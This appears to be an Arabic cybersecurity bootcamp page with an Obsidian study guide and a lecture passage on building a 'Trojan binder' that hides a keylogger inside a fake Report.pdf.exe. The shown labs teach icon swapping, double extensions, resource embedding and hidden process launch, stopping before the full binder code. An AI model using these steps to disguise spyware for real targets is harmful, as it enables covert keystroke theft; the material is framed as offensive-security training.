ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول

Trojan Binder، إخفاء EXE داخل EXE آخر _بدون ثغرات · بدون خادم · هندسة اجتماعية 100%_

Cybersecurity Bootcamp، Phase 1: Red Team Foundations استكمال المحاضرة 2 (Operation Shady RAT delivery series)

كيف تقرأ هذا المستند (مهم قبل البدء)

  • النص الأساسي عربي، اقرأ من اليمين إلى اليسار.
  • كتل الكود إنجليزية LTR، انسخها كما هي.
  • المصطلحات الإنجليزية القصيرة (Report.pdf.exe, MOTW, SmartScreen) داخل جمل عربية تظهر بعلامة backtick لتمييزها بصريا.
  • القوائم النقطية تفصل المفاهيم المختلطة، كل نقطة تقرأ باتجاه واحد واضح.
  • جميع كتل الكود قابلة للنسخ بضغطة واحدة، لا حاجة لتجميع من قطع.

جدول المحتويات

#الموضوع
0الجسر من المحاضرة 2 الأم: لماذا نبدأ بالأسهل؟
1ما هو ملف PE: بنية الـ .exe
2الأيقونات داخل EXE
3الامتدادات: من يقرر أي برنامج يفتح ماذا؟
4تضمين ملف كامل داخل EXE (Resources)
5التشغيل الخفي: عملية تُطلق أخرى بلا نافذة
6MOTW و SmartScreen: الدفاعات المدمجة وحدودها
7خدع الأسماء: RLO والامتداد المزدوج
8بناء الـ Binder: الكود الكامل
9الاختبار على Windows 11 Victim VM
10من عيون الدفاع: VirusTotal و Any.Run
11الخلاصة والمحاضرة القادمة

قبل أن تبدأ: الأدوات المجانية المطلوبة

#الأداةالاستخدامالرابط
1PE-bearفحص بنية ملف EXEhttps://hshrzd.wordpress.com/pe-bear/
2Resource Hackerتبديل أيقونات + تضمين ملفاتhttp://www.angusj.com/resourcehacker/
3Process Explorerمراقبة العمليات الأبناءhttps://learn.microsoft.com/sysinternals/downloads/process-explorer
4streams.exe (Sysinternals)قراءة Zone.Identifierhttps://learn.microsoft.com/sysinternals/downloads/streams
5CyberChefفحص أسماء ملفات مشبوهة: كشف U+202E مخفي (لا للانعكاس البصري)https://gchq.github.io/CyberChef/
6MinGW-w64 (داخل WSL)مترجم C++ لـ Windowssudo apt install mingw-w64
7VirusTotalرأي ~70 محرك AVhttps://virustotal.com
8Any.Runصندوق رمل Windowshttps://any.run

الأدوات 1-4 محلية على Windows، الأدوات 5-7-8 على المتصفح، الأداة 6 داخل WSL Ubuntu (تم تثبيته في القسم 8 من المحاضرة الأم).


القسم 0القسم 0: الجسر من المحاضرة 2 الأم

في الشرائح 1-5 من المحاضرة الأم مررنا بالنقاط التالية:

  • عرّفنا ما هو الـ APT وقصة عملية Shady RAT
  • أدركنا أن التوصيل (Delivery) هو المرحلة 2 من Kill Chain
  • بنينا الـ Keylogger في المحاضرة 1، الحمولة (Payload) جاهزة عندنا
  • لكن ينقصنا شيء واحد: طريقة توصيل الحمولة إلى الضحية

اتفقنا على ثلاث طرق:

  • A، ملف مربوط (الأسهل) ← هذه المحاضرة
  • B، PDF ملغم يستغل ثغرة CVE-2010-2883
  • C، Steganography، إخفاء داخل صورة

لماذا نبدأ بالأسهل؟

  1. لا تحتاج فهم للـ Exploits.
  2. لا تحتاج خادما ولا شبكة.
  3. تعمل على Windows 11 كامل التحديث.
  4. الأدوات مجانية ومباشرة.
  5. تعلمنا كيف يفكر المهاجم الحديث، 90% من هجمات 2024-2026 هندسة اجتماعية وليست ثغرات.

بعد إتقانها، الطرق الأخرى تبني على نفس الأسس التي سنتعلمها اليوم: ملف PE · موارد · تشغيل خفي · خدع الأسماء · MOTW.

الفكرة في سطر واحد

ملف .exe واحد يحمل داخله ملفين مضمنين:

  • ملف PDF حقيقي (طُعم بصري)
  • الـ Keylogger (الحمولة الحقيقية)

عند فتح الملف:

  • الضحية ترى الـ PDF الحقيقي، فلا تشك بشيء
  • في نفس اللحظة يعمل الـ Keylogger خفية

لا استغلال ثغرة، لا اتصال بخادم بعيد لجلب الحمولة. كل شيء مضغوط داخل ملف واحد.

text
keylogger.exe  +  Report.pdf  =  Report.pdf.exe (~200 KB)
                                 ↑
                                 عند النقر:
                                 - يفتح PDF حقيقي (يراه المستخدم)
                                 - يشغّل Keylogger خفية (لا يراه أحد)

المنتج النهائي

  • الحجم: ~200 KB
  • الأيقونة: أيقونة Adobe PDF كاملة
  • الاسم الظاهر في Explorer: Report.pdf
  • الاسم الحقيقي: Report.pdf.exe
  • بداخله (كموارد Windows): الـ Loader الذي كتبناه، decoy.pdf (كل بايت)، keylogger.exe (كل بايت)، pdf.ico

ما هذه الطريقة، وما هي ليست

✅ ما تفعله❌ ما لن نفعله
تصنع EXE بحجم ~200 KB يحمل حمولتكلن نستغل أي ثغرة (هذا للطريقة B)
تعمل على Win11 كامل التحديث بلا ثغرةلن نخفي داخل صورة (هذا للطريقة C)
تخدع المستخدم بصريا وسلوكيالن نتخطى SmartScreen (نعتمد على المستخدم)
تعمل بلا اتصال إنترنتلن نشفر الحمولة (لاحقا)
أساس معظم هجمات SocGholish/DarkGate/ClickFixلن نضيف Persistence (لاحقا)

✅ اختبر نفسك: القسم 0

قبل الانتقال للقسم التالي، تأكّد أنك تستطيع الإجابة بدون العودة للنص:

  1. ما المنتج النهائي لهذه المحاضرة بالضبط؟ صِفه كما يراه الضحية، ثم كما هو فعلاً على القرص.
  2. لماذا نبدأ بهذه الطريقة تحديداً قبل الطرق الأخرى، ما الذي لا تحتاجه هنا وتحتاجه في غيرها؟
  3. هذه الطريقة لا تستغلّ أي ثغرة برمجية. فما الذي تستغلّه إذن؟
  4. لو رفض الضحية فتح الملف، أين فشل الهجوم، في الكود أم في شيء آخر؟

إذا لم تستطع الإجابة على 3 من 4، أعد قراءة القسم قبل المتابعة.


القسم 1القسم 1: ما هو ملف PE (Portable Executable)؟

كل ملف .exe و .dll على Windows من نوع PE. ليس مجرد "كود يعمل"، بل ملف منظم بأقسام محددة:

  1. DOS Header (بقايا قديمة)
  2. PE Header (النوع 32/64، المعمارية، الوقت)
  3. Sections: — .text = الكود التنفيذي — .data = المتغيرات — .rsrc = الموارد المضمّنة ← ⭐ هذا المهم لنا — .reloc = عناوين الإعادة

قسم .rsrc: الدرج الذي نضع فيه ما نريد

قسم .rsrc يستطيع حمل أنواع مختلفة من الموارد:

  • أيقونات (icons)
  • صور وصوت
  • ملفات PDF كاملة
  • ملفات EXE أخرى (نعم، EXE داخل EXE!)
  • أي بيانات ثنائية عبر نوع المورد RCDATA

Windows يحمّل هذا القسم مع البرنامج في الذاكرة. البرنامج نفسه يستطيع قراءة موارده عبر استدعاءات النظام FindResource ثم LoadResource.

🧪 معمل 1: افحص ملف EXE بنفسك بـ PE-bear

التثبيت (3 دقائق):

  1. افتح https://hshrzd.wordpress.com/pe-bear/
  2. حمّل ملف ZIP بحجم ~10 MB
  3. فك الضغط في C:\Tools\PE-bear
  4. شغّل PE-bear.exe (لا يحتاج تثبيت، Portable)

الخطوات، نفذها الآن:

powershell
# 1. انسخ notepad.exe إلى مجلد تجريبي
Copy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad.exe

# 2. اسحب notepad.exe من C:\Temp إلى نافذة PE-bear
#    (Drag & Drop)

# 3. في اللوحة اليسرى انظر:
#    - DOS Header
#    - NT Headers
#    - Section Headers

# 4. اضغط على قسم .rsrc → ستشاهد الأيقونات والقوائم

# 5. لاحظ حقل Machine: x86_64 (64-bit)

# 6. جرّب ملفات مختلفة: calc.exe, mspaint.exe

بديل رسومي: CFF Explorer من NTCore (https://ntcore.com). بديل عبر الإنترنت: pestudio.com (النسخة المجانية).

أنت الآن ترى فعليا ما داخل الـ EXE، هذا نفسه ما سيراه المهاجم أو المحلل عندما يفتح ملفنا لاحقا.

✅ اختبر نفسك: القسم 1

  1. ما الأقسام الرئيسية التي رأيتها في PE-bear عند فتح ملف EXE؟ اذكر ثلاثة منها.
  2. ما وظيفة قسم .rsrc تحديداً، ولماذا هو القسم الذي يهمّنا في هذه المحاضرة دون غيره؟
  3. حقل Machine أظهر x86_64. ماذا يعني ذلك عملياً عند بناء حمولتك لاحقاً؟
  4. لو أضفت ملفاً بحجم 400 KB إلى قسم .rsrc، ماذا تتوقّع أن يحدث لحجم الـ EXE؟ ولماذا؟

3/4 صحيحة = تابع. أقل = أعد معمل 1 وانظر إلى الشجرة اليسرى في PE-bear مرة أخرى.


القسم 2القسم 2: الأيقونات داخل EXE

الأيقونة التي تراها في Explorer لأي ملف .exe مخزنة داخل الـ EXE نفسه (قسم .rsrc) كمورد من نوع RT_ICON. Windows يقرأها ويعرضها. ليس هناك ملف .ico خارجي.

لكل EXE مجموعة أيقونات بأحجام مختلفة (16, 32, 48, 256) حتى تظهر واضحة في كل منظور Explorer. المهم: يمكن تبديل هذه الأيقونة في أي EXE موجود بدون إعادة ترجمة الكود.

لماذا يهمنا هذا؟

لأن أيقونة PDF (اللون الأحمر المعروف) تجعل الضحية تصدق أن الملف PDF فورا. لكن Windows لا يستخدم الأيقونة لتحديد كيف يفتح الملف، يستخدم الامتداد فقط!

يمكن أن يكون:

  • اسم يبدو PDF ✅
  • أيقونة PDF ✅
  • لكنه EXE فعلا ✅

هذه أول طبقة من طبقات الخداع الثلاث (البصر → الاسم → السلوك).

🧪 معمل 2: بدّل أيقونة Notepad بأيقونة PDF

الأداة: Resource Hacker من Angus Johnson، http://www.angusj.com/resourcehacker/

التحضير:

  1. حمّل Resource Hacker (الإصدار المحمول Zip، ~5 MB، بلا تثبيت).
  2. جهز ملف pdf.ico. خيار سريع: حمّل أي أيقونة PDF مجانية من icons8.com أو flaticon.com، تأكد أنها تحتوي على أحجام متعددة (16, 32, 48, 256).

الخطوات:

powershell
# 1. انسخ notepad.exe (لا تعبث بالأصلي في System32!)
Copy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad.exe

# 2. افتح Resource Hacker → File → Open → C:\Temp\notepad.exe

# 3. في الشجرة اليسرى: Icon → Group 1

# 4. Right-click → Replace Icon → اختر pdf.ico

# 5. File → Save

# 6. في Explorer اذهب إلى C:\Temp
#    → notepad.exe يظهر بأيقونة PDF

# 7. انقره — يفتح Notepad!
#    (الأيقونة تغيّرت، السلوك لا)

اكتشفتَ للتو أن الأيقونة ≠ نوع الملف. هذه أول طبقة خداع سنستخدمها في الملف المربوط لاحقا.

✅ اختبر نفسك: القسم 2

  1. بعد تبديل أيقونة notepad.exe بأيقونة PDF في معمل 2، ماذا تغيّر وماذا لم يتغيّر عند النقر؟
  2. أين تُخزَّن الأيقونة داخل الملف التنفيذي؟ وتحت أي فرع رأيتها في Resource Hacker؟
  3. لماذا لا تكفي الأيقونة وحدها لخداع الضحية؟ ما العنصر الثاني الذي ستضيفه في القسم التالي؟
  4. لماذا نسخنا notepad.exe إلى مجلد تجريبي بدل العبث بالنسخة الأصلية في System32؟

إذا ترددت في السؤال 1، فأنت لم تستوعب الفرق بين المظهر والسلوك. أعد قراءة القسم.


القسم 3القسم 3: الامتدادات: من يقرر أي برنامج يفتح ماذا؟

عند النقر المزدوج على أي ملف:

  1. Windows يقرأ الامتداد فقط (.pdf, .docx, .exe, ...).
  2. يبحث في الـ Registry: assoc → أي ProgID للامتداد، ftype → أي أمر تشغيل.

مثلا مع .pdf:

  • assoc .pdf → AcroExch.Document
  • ftype AcroExch.Document → "Acrobat.exe" "%1"

Windows لا يفتح الملف، ينفذ الأمر مع اسم الملف. لكن .exe مختلف: يُشغّل مباشرة بلا وسيط.

الإعداد الافتراضي القاتل

في Windows Explorer، خيار Hide extensions of known file types مفعّل افتراضيا. النتيجة: الامتدادات المعروفة (مثل .exe) تُخفى في العرض.

إذا سمّينا ملفنا Report.pdf.exe:

  • الاسم الحقيقي على القرص: Report.pdf.exe
  • ما يعرضه Explorer للضحية: Report.pdf فقط
  • السبب: .exe مخفي، وReport.pdf هو ما تبقّى

الضحية ترى Report.pdf مع أيقونة PDF، تنقر مطمئنة، و Windows يشغّل .exe فعليا. هذه هي طبقة الخداع الثانية (بعد الأيقونة).

🧪 معمل 3: استكشف الامتدادات وخدعة الإخفاء

الجزء 1، استكشاف الارتباطات (في cmd.exe):

batch
REM افتح cmd.exe (Win+R → cmd)

assoc .pdf
REM النتيجة (مثال): .pdf=AcroExch.Document.DC

ftype AcroExch.Document.DC
REM النتيجة (مثال): "C:\Program Files\...\Acrobat.exe" "%1"

assoc .exe
REM .exe=exefile

ftype exefile
REM "%1" %*
REM = يُشغّل مباشرة!

REM جرّب امتدادات أخرى:
assoc .docx
assoc .html
assoc .txt

الجزء 2، خدعة إخفاء الامتداد:

powershell
# 1. تحقق من الإعداد الحالي (Explorer → View → Show → File name extensions)

# 2. جهّز ملفا للتجربة:
Copy-Item C:\Windows\System32\notepad.exe C:\Temp\Report.pdf.exe

# 3. في Explorer:
#    • مع إخفاء الامتدادات (الافتراضي): تراه Report.pdf ✓
#    • مع إظهارها:                     تراه Report.pdf.exe ✓

# 4. الضحية 99% تعمل بالوضع الافتراضي (مخفاة)

أنت الآن ترى ما يراه المستخدم، امتداد مخفي + أيقونة صادقة كاذبة = المعادلة الكاملة للخداع.

✅ اختبر نفسك: القسم 3

  1. ما الإعداد الافتراضي في Explorer الذي يجعل خدعة الامتداد المزدوج تعمل؟ وأين تجده؟
  2. ملف اسمه الحقيقي Report.pdf.exe، لماذا يعرضه Windows باسم Report.pdf؟ اشرح القاعدة، لا النتيجة فقط.
  3. من يقرّر أي برنامج يفتح الملف: الأيقونة، أم الاسم المعروض، أم الامتداد الحقيقي؟
  4. ما نسبة المستخدمين الذين يُفعّلون إظهار الامتدادات تقريباً؟ وماذا يعني هذا الرقم لمصمّم الهجوم ولمصمّم الدفاع؟

3/4 = تابع.


القسم 4القسم 4: تضمين ملف كامل داخل EXE (Resources)

قسم .rsrc ليس محدودا بالأيقونات. RCDATA = خامة، بلا تفسير. تضع فيه: ملف PDF (كل بايت)، ملف EXE (كل بايت)، ملف ZIP، صوت، فيديو... Windows لا يعرف ولا يهتم بمحتوى RCDATA، مجرد بايتات.

كيف يُقرأ لاحقا؟ (سنستخدمها في binder.cpp)

c
// (1) البحث عن المورد داخل نفس EXE
HRSRC hRes = FindResourceA(NULL, "DECOY_PDF", RT_RCDATA);

// (2) تحميل المورد في الذاكرة
HGLOBAL hData = LoadResource(NULL, hRes);

// (3) الحصول على المؤشر
void* pData = LockResource(hData);

// (4) الحصول على الحجم
DWORD size = SizeofResource(NULL, hRes);

// ثم WriteFile → يكتب المورد إلى القرص كملف حقيقي

هذا هو الجوهر: EXE يحمل ملفات كاملة داخله + يفكها عند التشغيل. لن نحتاج شبكة أو خادم أو أي شيء خارجي.

🧪 معمل 4: ضمّن PDF داخل EXE ثم استخرجه

خطوات التضمين:

powershell
# 1. جهّز أي PDF صغير (مثلا test.pdf بحجم <500 KB)

# 2. انسخ notepad.exe مرة أخرى:
Copy-Item C:\Windows\System32\notepad.exe C:\Temp\notepad-with-pdf.exe

# 3. افتحه في Resource Hacker

# 4. Action menu → Add a new Resource...

# 5. Select File → اختر test.pdf

# 6. Resource Type: RCDATA
#    Resource Name: TEST_PDF

# 7. اضغط Add Resource

# 8. File → Save

# 9. لاحظ زيادة حجم الملف من ~250 KB إلى ~600 KB

خطوات الاستخراج (تحقق أن الـ PDF فعلا هناك):

powershell
# 1. في Resource Hacker، في الشجرة اليسرى:
#    RCDATA → TEST_PDF

# 2. Right-click → Save Resource as Binary File

# 3. احفظ باسم extracted.pdf

# 4. افتح extracted.pdf بـ Adobe → يفتح مثل الأصلي تماما!

# 5. تحقق بالأمر (fc = File Compare، /b = binary):
fc /b C:\Temp\test.pdf C:\Temp\extracted.pdf
# → لا فرق (بايت بايت)

أثبتنا أن EXE يحمل PDF كاملا دون فقد بايت واحد. هذا بالضبط ما سنفعله برمجيا في binder.rc، لكن بشكل آلي أثناء البناء بدل ما يدويا.

✅ اختبر نفسك: القسم 4

  1. ما هو نوع المورد RCDATA، ولماذا استخدمناه للـ PDF بدل نوع مورد آخر؟
  2. في معمل 4 استخرجنا الـ PDF المضمَّن وقارنّاه بالأصل بالأمر fc /b. ماذا يثبت أن النتيجة كانت "لا فرق"؟
  3. اشرح بجملة واحدة: كيف يصبح ملف EXE واحد حاملاً لملفّين آخرين كاملين داخله؟
  4. لو ضمّنت ملفاً بحجم 5 MB، ما الأثر الجانبي الذي قد يلفت نظر المدافع؟

جوابك ≥ 3/4 = تابع. أقل = أعد معمل 4.


القسم 5القسم 5: التشغيل الخفي: عملية تُشغّل عملية أخرى بلا نافذة

برنامج قيد التشغيل يستطيع إطلاق برنامج آخر عبر ثلاث دوال في Windows API:

الدالةخصائصها
ShellExecuteEx()مثل النقر المزدوج، يفتح بالبرنامج الافتراضي، SW_HIDE = بلا نافذة
CreateProcess()أقوى وأدق، تحدد كل شيء يدويا، CREATE_NO_WINDOW + DETACHED_PROCESS
WinExec()قديم، لا يُستخدم في الكود الحديث

لماذا يهمنا؟

الـ Binder يحتاج أن يطلق:

  1. الـ PDF الحقيقي بشكل عادي مرئي (SW_SHOWNORMAL) → الضحية ترى ما توقعت.
  2. الـ Keylogger بلا نافذة، بلا console (SW_HIDE + CREATE_NO_WINDOW + DETACHED_PROCESS) → الضحية لا تلاحظ شيئا.

بعد إطلاق كلا العمليتين، الـ Binder ينهي نفسه (exit 0)، ولا يبقى في الذاكرة.

🧪 معمل 5: شغّل عملية خفية وراقب Parent/Child

الجزء 1، PowerShell:

powershell
# 1. افتح PowerShell (Win+X → PowerShell)

# 2. جرّب الأمر العادي أولا:
Start-Process calc.exe
# → يفتح الحاسبة مرئية

# 3. أغلق الحاسبة، ثم:
Start-Process calc.exe -WindowStyle Hidden
# → لا نافذة، لكنها تعمل!

# 4. تحقق أنها تعمل:
Get-Process CalculatorApp
# → ستراها في القائمة

# 5. أغلقها:
Stop-Process -Name CalculatorApp

هذا نفس ما سيفعله الـ Binder مع الـ Keylogger، لكن بـ C++.

الجزء 2، Process Explorer:

powershell
# 1. حمّل Process Explorer (~3 MB):
